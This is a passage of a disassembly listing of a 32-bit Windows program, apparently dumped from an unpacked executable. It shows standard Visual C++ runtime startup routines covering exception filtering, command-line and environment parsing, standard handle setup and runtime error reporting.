[esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_41A959 push eax call sub_419849 pop ecx loc_41A959: ; CODE XREF: sub_41A91E+10j ; sub_41A91E+32j pop esi retn sub_41A91E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A95B proc near ; CODE XREF: .text:00415EF4p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push [ebp+arg_0] call sub_41AA9C test eax, eax pop ecx jz loc_41AA90 mov ebx, [eax+8] test ebx, ebx jz loc_41AA90 cmp ebx, 5 jnz short loc_41A98C and dword ptr [eax+8], 0 push 1 pop eax jmp loc_41AA99 ; --------------------------------------------------------------------------- loc_41A98C: ; CODE XREF: sub_41A95B+23j cmp ebx, 1 jz loc_41AA8B mov ecx, dword_7422DC mov [ebp+arg_0], ecx mov ecx, [ebp+arg_4] mov dword_7422DC, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_41AA7B mov ecx, dword_437E00 mov edx, dword_437E04 add edx, ecx push esi cmp ecx, edx jge short loc_41A9DB lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:437D90h[esi*4] loc_41A9D2: ; CODE XREF: sub_41A95B+7Ej and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_41A9D2 loc_41A9DB: ; CODE XREF: sub_41A95B+69j mov eax, [eax] mov esi, dword_437E0C cmp eax, 0C000008Eh jnz short loc_41A9F6 mov dword_437E0C, 83h jmp short loc_41AA66 ; --------------------------------------------------------------------------- loc_41A9F6: ; CODE XREF: sub_41A95B+8Dj cmp eax, 0C0000090h jnz short loc_41AA09 mov dword_437E0C, 81h jmp short loc_41AA66 ; --------------------------------------------------------------------------- loc_41AA09: ; CODE XREF: sub_41A95B+A0j cmp eax, 0C0000091h jnz short loc_41AA1C mov dword_437E0C, 84h jmp short loc_41AA66 ; --------------------------------------------------------------------------- loc_41AA1C: ; CODE XREF: sub_41A95B+B3j cmp eax, 0C0000093h jnz short loc_41AA2F mov dword_437E0C, 85h jmp short loc_41AA66 ; --------------------------------------------------------------------------- loc_41AA2F: ; CODE XREF: sub_41A95B+C6j cmp eax, 0C000008Dh jnz short loc_41AA42 mov dword_437E0C, 82h jmp short loc_41AA66 ; --------------------------------------------------------------------------- loc_41AA42: ; CODE XREF: sub_41A95B+D9j cmp eax, 0C000008Fh jnz short loc_41AA55 mov dword_437E0C, 86h jmp short loc_41AA66 ; --------------------------------------------------------------------------- loc_41AA55: ; CODE XREF: sub_41A95B+ECj cmp eax, 0C0000092h jnz short loc_41AA66 mov dword_437E0C, 8Ah loc_41AA66: ; CODE XREF: sub_41A95B+99j ; sub_41A95B+ACj ... push dword_437E0C push 8 call ebx pop ecx mov dword_437E0C, esi pop ecx pop esi jmp short loc_41AA83 ; --------------------------------------------------------------------------- loc_41AA7B: ; CODE XREF: sub_41A95B+52j and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_41AA83: ; CODE XREF: sub_41A95B+11Ej mov eax, [ebp+arg_0] mov dword_7422DC, eax loc_41AA8B: ; CODE XREF: sub_41A95B+34j or eax, 0FFFFFFFFh jmp short loc_41AA99 ; --------------------------------------------------------------------------- loc_41AA90: ; CODE XREF: sub_41A95B+Fj ; sub_41A95B+1Aj push [ebp+arg_4] call ds:off_41F198 loc_41AA99: ; CODE XREF: sub_41A95B+2Cj ; sub_41A95B+133j pop ebx pop ebp retn sub_41A95B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41AA9C proc near ; CODE XREF: sub_41A95B+7p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_437E08 cmp dword_437D88, edx push esi mov eax, offset dword_437D88 jz short loc_41AAC9 lea esi, [ecx+ecx*2] lea esi, ds:437D88h[esi*4] loc_41AABE: ; CODE XREF: sub_41AA9C+2Bj add eax, 0Ch cmp eax, esi jnb short loc_41AAC9 cmp [eax], edx jnz short loc_41AABE loc_41AAC9: ; CODE XREF: sub_41AA9C+16j ; sub_41AA9C+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:437D88h[ecx*4] cmp eax, ecx jnb short loc_41AADC cmp [eax], edx jz short locret_41AADE loc_41AADC: ; CODE XREF: sub_41AA9C+3Aj xor eax, eax locret_41AADE: ; CODE XREF: sub_41AA9C+3Ej retn sub_41AA9C endp ; =============== S U B R O U T I N E ======================================= sub_41AADF proc near ; CODE XREF: .text:00415EB6p cmp dword_74388C, 0 jnz short loc_41AAED call sub_41A5D7 loc_41AAED: ; CODE XREF: sub_41AADF+7j push esi mov esi, dword_743884 mov al, [esi] cmp al, 22h jnz short loc_41AB1F loc_41AAFA: ; CODE XREF: sub_41AADF+33j ; sub_41AADF+36j mov al, [esi+1] inc esi cmp al, 22h jz short loc_41AB17 test al, al jz short loc_41AB17 movzx eax, al push eax call sub_41C9CF test eax, eax pop ecx jz short loc_41AAFA inc esi jmp short loc_41AAFA ; --------------------------------------------------------------------------- loc_41AB17: ; CODE XREF: sub_41AADF+21j ; sub_41AADF+25j cmp byte ptr [esi], 22h jnz short loc_41AB29 loc_41AB1C: ; CODE XREF: sub_41AADF+52j inc esi jmp short loc_41AB29 ; --------------------------------------------------------------------------- loc_41AB1F: ; CODE XREF: sub_41AADF+19j cmp al, 20h jbe short loc_41AB29 loc_41AB23: ; CODE XREF: sub_41AADF+48j inc esi cmp byte ptr [esi], 20h ja short loc_41AB23 loc_41AB29: ; CODE XREF: sub_41AADF+3Bj ; sub_41AADF+3Ej ... mov al, [esi] test al, al jz short loc_41AB33 cmp al, 20h jbe short loc_41AB1C loc_41AB33: ; CODE XREF: sub_41AADF+4Ej mov eax, esi pop esi retn sub_41AADF endp ; =============== S U B R O U T I N E ======================================= sub_41AB37 proc near ; CODE XREF: .text:00415E9Fp push ebx xor ebx, ebx cmp dword_74388C, ebx push esi push edi jnz short loc_41AB49 call sub_41A5D7 loc_41AB49: ; CODE XREF: sub_41AB37+Bj mov esi, dword_742278 xor edi, edi loc_41AB51: ; CODE XREF: sub_41AB37+30j mov al, [esi] cmp al, bl jz short loc_41AB69 cmp al, 3Dh jz short loc_41AB5C inc edi loc_41AB5C: ; CODE XREF: sub_41AB37+22j push esi call sub_413E90 pop ecx lea esi, [esi+eax+1] jmp short loc_41AB51 ; --------------------------------------------------------------------------- loc_41AB69: ; CODE XREF: sub_41AB37+1Ej lea eax, ds:4[edi*4] push eax call sub_413F0B mov esi, eax pop ecx cmp esi, ebx mov dword_742254, esi jnz short loc_41AB8B push 9 call sub_415F07 pop ecx loc_41AB8B: ; CODE XREF: sub_41AB37+4Aj mov edi, dword_742278 cmp [edi], bl jz short loc_41ABCE push ebp loc_41AB96: ; CODE XREF: sub_41AB37+94j push edi call sub_413E90 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_41ABC7 push ebp call sub_413F0B cmp eax, ebx pop ecx mov [esi], eax jnz short loc_41ABBA push 9 call sub_415F07 pop ecx loc_41ABBA: ; CODE XREF: sub_41AB37+79j push edi push dword ptr [esi] call sub_414FB0 pop ecx add esi, 4 pop ecx loc_41ABC7: ; CODE XREF: sub_41AB37+6Cj add edi, ebp cmp [edi], bl jnz short loc_41AB96 pop ebp loc_41ABCE: ; CODE XREF: sub_41AB37+5Cj push dword_742278 call sub_413F7F pop ecx mov dword_742278, ebx mov [esi], ebx pop edi pop esi mov dword_743888, 1 pop ebx retn sub_41AB37 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ABF0 proc near ; CODE XREF: .text:00415E9Ap var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_74388C, ebx push esi push edi jnz short loc_41AC07 call sub_41A5D7 loc_41AC07: ; CODE XREF: sub_41ABF0+10j mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx call ds:dword_41F060 ; GetModuleFileNameA mov eax, dword_743884 mov off_742264, esi mov edi, esi cmp [eax], bl jz short loc_41AC2C mov edi, eax loc_41AC2C: ; CODE XREF: sub_41ABF0+38j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push ebx push ebx push edi call sub_41AC89 mov eax, [ebp+var_8] mov ecx, [ebp+var_4] lea eax, [eax+ecx*4] push eax call sub_413F0B mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_41AC5C push 8 call sub_415F07 pop ecx loc_41AC5C: ; CODE XREF: sub_41ABF0+62j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax mov eax, [ebp+var_4] lea eax, [esi+eax*4] push eax push esi push edi call sub_41AC89 mov eax, [ebp+var_4] add esp, 14h dec eax mov dword_74224C, esi pop edi pop esi mov dword_742248, eax pop ebx leave retn sub_41ABF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AC89 proc near ; CODE XREF: sub_41ABF0+47p ; sub_41ABF0+7Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_41ACB3 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_41ACB3: ; CODE XREF: sub_41AC89+20j cmp byte ptr [eax], 22h jnz short loc_41ACFC loc_41ACB8: ; CODE XREF: sub_41AC89+58j ; sub_41AC89+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_41ACEA test dl, dl jz short loc_41ACEA movzx edx, dl test byte_743761[edx], 4 jz short loc_41ACDD inc dword ptr [ecx] test esi, esi jz short loc_41ACDD mov dl, [eax] mov [esi], dl inc esi inc eax loc_41ACDD: ; CODE XREF: sub_41AC89+46j ; sub_41AC89+4Cj inc dword ptr [ecx] test esi, esi jz short loc_41ACB8 mov dl, [eax] mov [esi], dl inc esi jmp short loc_41ACB8 ; --------------------------------------------------------------------------- loc_41ACEA: ; CODE XREF: sub_41AC89+36j ; sub_41AC89+3Aj inc dword ptr [ecx] test esi, esi jz short loc_41ACF4 and byte ptr [esi], 0 inc esi loc_41ACF4: ; CODE XREF: sub_41AC89+65j cmp byte ptr [eax], 22h jnz short loc_41AD3F inc eax jmp short loc_41AD3F ; --------------------------------------------------------------------------- loc_41ACFC: ; CODE XREF: sub_41AC89+2Dj ; sub_41AC89+A5j inc dword ptr [ecx] test esi, esi jz short loc_41AD07 mov dl, [eax] mov [esi], dl inc esi loc_41AD07: ; CODE XREF: sub_41AC89+77j mov dl, [eax] inc eax movzx ebx, dl test byte_743761[ebx], 4 jz short loc_41AD22 inc dword ptr [ecx] test esi, esi jz short loc_41AD21 mov bl, [eax] mov [esi], bl inc esi loc_41AD21: ; CODE XREF: sub_41AC89+91j inc eax loc_41AD22: ; CODE XREF: sub_41AC89+8Bj cmp dl, 20h jz short loc_41AD30 test dl, dl jz short loc_41AD34 cmp dl, 9 jnz short loc_41ACFC loc_41AD30: ; CODE XREF: sub_41AC89+9Cj test dl, dl jnz short loc_41AD37 loc_41AD34: ; CODE XREF: sub_41AC89+A0j dec eax jmp short loc_41AD3F ; --------------------------------------------------------------------------- loc_41AD37: ; CODE XREF: sub_41AC89+A9j test esi, esi jz short loc_41AD3F and byte ptr [esi-1], 0 loc_41AD3F: ; CODE XREF: sub_41AC89+6Ej ; sub_41AC89+71j ... and [ebp+arg_10], 0 loc_41AD43: ; CODE XREF: sub_41AC89+19Ej cmp byte ptr [eax], 0 jz loc_41AE2C loc_41AD4C: ; CODE XREF: sub_41AC89+D0j mov dl, [eax] cmp dl, 20h jz short loc_41AD58 cmp dl, 9 jnz short loc_41AD5B loc_41AD58: ; CODE XREF: sub_41AC89+C8j inc eax jmp short loc_41AD4C ; --------------------------------------------------------------------------- loc_41AD5B: ; CODE XREF: sub_41AC89+CDj cmp byte ptr [eax], 0 jz loc_41AE2C test edi, edi jz short loc_41AD70 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_41AD70: ; CODE XREF: sub_41AC89+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_41AD75: ; CODE XREF: sub_41AC89+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_41AD7E: ; CODE XREF: sub_41AC89+FCj cmp byte ptr [eax], 5Ch jnz short loc_41AD87 inc eax inc ebx jmp short loc_41AD7E ; --------------------------------------------------------------------------- loc_41AD87: ; CODE XREF: sub_41AC89+F8j cmp byte ptr [eax], 22h jnz short loc_41ADB8 test bl, 1 jnz short loc_41ADB6 xor edi, edi cmp [ebp+arg_10], edi jz short loc_41ADA5 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_41ADA5 mov eax, edx jmp short loc_41ADA8 ; --------------------------------------------------------------------------- loc_41ADA5: ; CODE XREF: sub_41AC89+10Dj ; sub_41AC89+116j mov [ebp+arg_0], edi loc_41ADA8: ; CODE XREF: sub_41AC89+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_41ADB6: ; CODE XREF: sub_41AC89+106j shr ebx, 1 loc_41ADB8: ; CODE XREF: sub_41AC89+101j mov edx, ebx dec ebx test edx, edx jz short loc_41ADCD inc ebx loc_41ADC0: ; CODE XREF: sub_41AC89+142j test esi, esi jz short loc_41ADC8 mov byte ptr [esi], 5Ch inc esi loc_41ADC8: ; CODE XREF: sub_41AC89+139j inc dword ptr [ecx] dec ebx jnz short loc_41ADC0 loc_41ADCD: ; CODE XREF: sub_41AC89+134j mov dl, [eax] test dl, dl jz short loc_41AE1D cmp [ebp+arg_10], 0 jnz short loc_41ADE3 cmp dl, 20h jz short loc_41AE1D cmp dl, 9 jz short loc_41AE1D loc_41ADE3: ; CODE XREF: sub_41AC89+14Ej cmp [ebp+arg_0], 0 jz short loc_41AE17 test esi, esi jz short loc_41AE06 movzx ebx, dl test byte_743761[ebx], 4 jz short loc_41ADFF mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_41ADFF: ; CODE XREF: sub_41AC89+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_41AE15 ; --------------------------------------------------------------------------- loc_41AE06: ; CODE XREF: sub_41AC89+162j movzx edx, dl test byte_743761[edx], 4 jz short loc_41AE15 inc eax inc dword ptr [ecx] loc_41AE15: ; CODE XREF: sub_41AC89+17Bj ; sub_41AC89+187j inc dword ptr [ecx] loc_41AE17: ; CODE XREF: sub_41AC89+15Ej inc eax jmp loc_41AD75 ; --------------------------------------------------------------------------- loc_41AE1D: ; CODE XREF: sub_41AC89+148j ; sub_41AC89+153j ... test esi, esi jz short loc_41AE25 and byte ptr [esi], 0 inc esi loc_41AE25: ; CODE XREF: sub_41AC89+196j inc dword ptr [ecx] jmp loc_41AD43 ; --------------------------------------------------------------------------- loc_41AE2C: ; CODE XREF: sub_41AC89+BDj ; sub_41AC89+D5j test edi, edi jz short loc_41AE33 and dword ptr [edi], 0 loc_41AE33: ; CODE XREF: sub_41AC89+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_41AC89 endp ; =============== S U B R O U T I N E ======================================= sub_41AE3D proc near ; CODE XREF: .text:00415E90p var_8 = dword ptr -8 var_4 = dword ptr -4 push ecx push ecx mov eax, dword_7423E4 push ebx push ebp mov ebp, ds:dword_41F03C push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_41AE8B call ebp ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jz short loc_41AE6C mov dword_7423E4, 1 jmp short loc_41AE94 ; --------------------------------------------------------------------------- loc_41AE6C: ; CODE XREF: sub_41AE3D+21j call ds:off_41F1A4 mov edi, eax cmp edi, ebx jz loc_41AF66 mov dword_7423E4, 2 jmp loc_41AF1A ; --------------------------------------------------------------------------- loc_41AE8B: ; CODE XREF: sub_41AE3D+19j cmp eax, 1 jnz loc_41AF15 loc_41AE94: ; CODE XREF: sub_41AE3D+2Dj cmp esi, ebx jnz short loc_41AEA4 call ebp ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jz loc_41AF66 loc_41AEA4: ; CODE XREF: sub_41AE3D+59j cmp [esi], bx mov eax, esi jz short loc_41AEB9 loc_41AEAB: ; CODE XREF: sub_41AE3D+73j ; sub_41AE3D+7Aj inc eax inc eax cmp [eax], bx jnz short loc_41AEAB inc eax inc eax cmp [eax], bx jnz short loc_41AEAB loc_41AEB9: ; CODE XREF: sub_41AE3D+6Cj sub eax, esi mov edi, ds:dword_41F10C sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+38h+var_4], eax call edi ; WideCharToMultiByte mov ebp, eax cmp ebp, ebx jz short loc_41AF0A push ebp call sub_413F0B cmp eax, ebx pop ecx mov [esp+18h+var_8], eax jz short loc_41AF0A push ebx push ebx push ebp push eax push [esp+28h+var_4] push esi push ebx push ebx call edi ; WideCharToMultiByte test eax, eax jnz short loc_41AF06 push [esp+18h+var_8] call sub_413F7F pop ecx mov [esp+18h+var_8], ebx loc_41AF06: ; CODE XREF: sub_41AE3D+B9j mov ebx, [esp+18h+var_8] loc_41AF0A: ; CODE XREF: sub_41AE3D+99j ; sub_41AE3D+A8j push esi call ds:dword_41F1A0 ; FreeEnvironmentStringsW mov eax, ebx jmp short loc_41AF68 ; --------------------------------------------------------------------------- loc_41AF15: ; CODE XREF: sub_41AE3D+51j cmp eax, 2 jnz short loc_41AF66 loc_41AF1A: ; CODE XREF: sub_41AE3D+49j cmp edi, ebx jnz short loc_41AF2A call ds:off_41F1A4 mov edi, eax cmp edi, ebx jz short loc_41AF66 loc_41AF2A: ; CODE XREF: sub_41AE3D+DFj cmp [edi], bl mov eax, edi jz short loc_41AF3A loc_41AF30: ; CODE XREF: sub_41AE3D+F6j ; sub_41AE3D+FBj inc eax cmp [eax], bl jnz short loc_41AF30 inc eax cmp [eax], bl jnz short loc_41AF30 loc_41AF3A: ; CODE XREF: sub_41AE3D+F1j sub eax, edi inc eax mov ebp, eax push ebp call sub_413F0B mov esi, eax pop ecx cmp esi, ebx jnz short loc_41AF50 xor esi, esi jmp short loc_41AF5B ; --------------------------------------------------------------------------- loc_41AF50: ; CODE XREF: sub_41AE3D+10Dj push ebp push edi push esi call sub_4138F0 add esp, 0Ch loc_41AF5B: ; CODE XREF: sub_41AE3D+111j push edi call ds:off_41F19C mov eax, esi jmp short loc_41AF68 ; --------------------------------------------------------------------------- loc_41AF66: ; CODE XREF: sub_41AE3D+39j ; sub_41AE3D+61j ... xor eax, eax loc_41AF68: ; CODE XREF: sub_41AE3D+D6j ; sub_41AE3D+127j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn sub_41AE3D endp ; =============== S U B R O U T I N E ======================================= sub_41AF6F proc near ; CODE XREF: .text:00415E80p var_44 = byte ptr -44h var_14 = dword ptr -14h var_10 = dword ptr -10h sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_413F0B mov esi, eax pop ecx test esi, esi jnz short loc_41AF8F push 1Bh call sub_415F07 pop ecx loc_41AF8F: ; CODE XREF: sub_41AF6F+16j mov dword_743540, esi mov dword_743640, 20h lea eax, [esi+100h] loc_41AFA5: ; CODE XREF: sub_41AF6F+52j cmp esi, eax jnb short loc_41AFC3 and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_743540 add esi, 8 add eax, 100h jmp short loc_41AFA5 ; --------------------------------------------------------------------------- loc_41AFC3: ; CODE XREF: sub_41AF6F+38j lea eax, [esp+54h+var_44] push eax call ds:off_41F15C cmp word ptr [esp+54h+var_14+2], 0 jz loc_41B09F mov eax, [esp+54h+var_10] test eax, eax jz loc_41B09F mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_41AFF9 mov esi, eax loc_41AFF9: ; CODE XREF: sub_41AF6F+86j cmp dword_743640, esi jge short loc_41B053 mov edi, offset dword_743544 loc_41B006: ; CODE XREF: sub_41AF6F+DAj push 100h call sub_413F0B test eax, eax pop ecx jz short loc_41B04D add dword_743640, 20h mov [edi], eax lea ecx, [eax+100h] loc_41B024: ; CODE XREF: sub_41AF6F+CFj cmp eax, ecx jnb short loc_41B040 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_41B024 ; --------------------------------------------------------------------------- loc_41B040: ; CODE XREF: sub_41AF6F+B7j add edi, 4 cmp dword_743640, esi jl short loc_41B006 jmp short loc_41B053 ; --------------------------------------------------------------------------- loc_41B04D: ; CODE XREF: sub_41AF6F+A4j mov esi, dword_743640 loc_41B053: ; CODE XREF: sub_41AF6F+90j ; sub_41AF6F+DCj xor edi, edi test esi, esi jle short loc_41B09F loc_41B059: ; CODE XREF: sub_41AF6F+12Ej mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_41B096 mov cl, [ebp+0] test cl, 1 jz short loc_41B096 test cl, 8 jnz short loc_41B078 push eax call ds:dword_41F030 ; GetFileType test eax, eax jz short loc_41B096 loc_41B078: ; CODE XREF: sub_41AF6F+FCj mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_743540[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_41B096: ; CODE XREF: sub_41AF6F+EFj ; sub_41AF6F+F7j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_41B059 loc_41B09F: ; CODE XREF: sub_41AF6F+65j ; sub_41AF6F+71j ... xor ebx, ebx loc_41B0A1: ; CODE XREF: sub_41AF6F+195j mov eax, dword_743540 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_41B0FC test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_41B0BC push 0FFFFFFF6h pop eax jmp short loc_41B0C6 ; --------------------------------------------------------------------------- loc_41B0BC: ; CODE XREF: sub_41AF6F+146j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_41B0C6: ; CODE XREF: sub_41AF6F+14Bj push eax call ds:dword_41F034 ; GetStdHandle mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_41B0EB push edi call ds:dword_41F030 ; GetFileType test eax, eax jz short loc_41B0EB and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_41B0F1 loc_41B0EB: ; CODE XREF: sub_41AF6F+163j ; sub_41AF6F+16Ej or byte ptr [esi+4], 40h jmp short loc_41B100 ; --------------------------------------------------------------------------- loc_41B0F1: ; CODE XREF: sub_41AF6F+17Aj cmp eax, 3 jnz short loc_41B100 or byte ptr [esi+4], 8 jmp short loc_41B100 ; --------------------------------------------------------------------------- loc_41B0FC: ; CODE XREF: sub_41AF6F+13Ej or byte ptr [esi+4], 80h loc_41B100: ; CODE XREF: sub_41AF6F+180j ; sub_41AF6F+185j ... inc ebx cmp ebx, 3 jl short loc_41B0A1 push dword_743640 call ds:dword_41F038 ; SetHandleCount pop edi pop esi pop ebp pop ebx add esp, 44h retn sub_41AF6F endp ; --------------------------------------------------------------------------- align 4 push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B124 proc near ; DATA XREF: .text:00415E1Bo ; sub_418516+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_41B1C4 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_41B157: ; CODE XREF: sub_41B124+90j cmp esi, 0FFFFFFFFh jz short loc_41B1BD lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_41B1AB push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_41B1AB js short loc_41B1B6 mov edi, [ebx+8] push ebx call sub_4144AC add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_4144EE add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_414582 mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_41B1AB: ; CODE XREF: sub_41B124+40j ; sub_41B124+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_41B157 ; --------------------------------------------------------------------------- loc_41B1B6: ; CODE XREF: sub_41B124+54j mov eax, 0 jmp short loc_41B1D9 ; --------------------------------------------------------------------------- loc_41B1BD: ; CODE XREF: sub_41B124+36j mov eax, 1 jmp short loc_41B1D9 ; --------------------------------------------------------------------------- loc_41B1C4: ; CODE XREF: sub_41B124+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_4144EE add esp, 8 pop ebp mov eax, 1 loc_41B1D9: ; CODE XREF: sub_41B124+97j ; sub_41B124+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41B124 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_4144EE add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_41B1FC proc near ; CODE XREF: sub_415F07+9p ; sub_415F2C+9p mov eax, dword_742280 cmp eax, 1 jz short loc_41B213 test eax, eax jnz short locret_41B234 cmp dword_4377A4, 1 jnz short locret_41B234 loc_41B213: ; CODE XREF: sub_41B1FC+8j push 0FCh call sub_41B235 mov eax, dword_7423E8 pop ecx test eax, eax jz short loc_41B229 call eax loc_41B229: ; CODE XREF: sub_41B1FC+29j push 0FFh call sub_41B235 pop ecx locret_41B234: ; CODE XREF: sub_41B1FC+Cj ; sub_41B1FC+15j retn sub_41B1FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B235 proc near ; CODE XREF: sub_415F07+12p ; sub_415F2C+12p ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_437E18 loc_41B248: ; CODE XREF: sub_41B235+20j cmp edx, [eax] jz short loc_41B257 add eax, 8 inc ecx cmp eax, offset off_437EA8 jl short loc_41B248 loc_41B257: ; CODE XREF: sub_41B235+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_437E18[esi] jnz loc_41B385 mov eax, dword_742280 cmp eax, 1 jz loc_41B35F test eax, eax jnz short loc_41B288 cmp dword_4377A4, 1 jz loc_41B35F loc_41B288: ; CODE XREF: sub_41B235+44j cmp edx, 0FCh jz loc_41B385 lea eax, [ebp+var_1A4] push 104h push eax push 0 call ds:dword_41F060 ; GetModuleFileNameA test eax, eax jnz short loc_41B2BF lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_414FB0 pop ecx pop ecx loc_41B2BF: ; CODE XREF: sub_41B235+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_413E90 inc eax pop ecx cmp eax, 3Ch jbe short loc_41B302 lea eax, [ebp+var_1A4] push eax call sub_413E90 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_415140 add esp, 10h loc_41B302: ; CODE XREF: sub_41B235+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_414FB0 lea eax, [ebp+var_A0] push edi push eax call sub_414FC0 lea eax, [ebp+var_A0] push offset asc_41FB38 ; "\n\n" push eax call sub_414FC0 push off_437E1C[esi] lea eax, [ebp+var_A0] push eax call sub_414FC0 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_41CA11 add esp, 2Ch pop edi jmp short loc_41B385 ; --------------------------------------------------------------------------- loc_41B35F: ; CODE XREF: sub_41B235+3Cj ; sub_41B235+4Dj lea eax, [ebp+arg_0] lea esi, off_437E1C[esi] push 0 push eax push dword ptr [esi] call sub_413E90 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h call ds:dword_41F034 ; GetStdHandle push eax call ds:dword_41F054 ; WriteFile loc_41B385: ; CODE XREF: sub_41B235+2Ej ; sub_41B235+59j ... pop esi leave retn sub_41B235 endp ; =============== S U B R O U T I N E ======================================= sub_41B388 proc near ; CODE XREF: sub_415F50+6Cp ; sub_41991B+32p ... arg_0 = dword ptr 4 inc dword_7423EC push 1000h call sub_413F0B pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_41B3B1 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_41B3C2 ; --------------------------------------------------------------------------- loc_41B3B1: ; CODE XREF: sub_41B388+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_41B3C2: 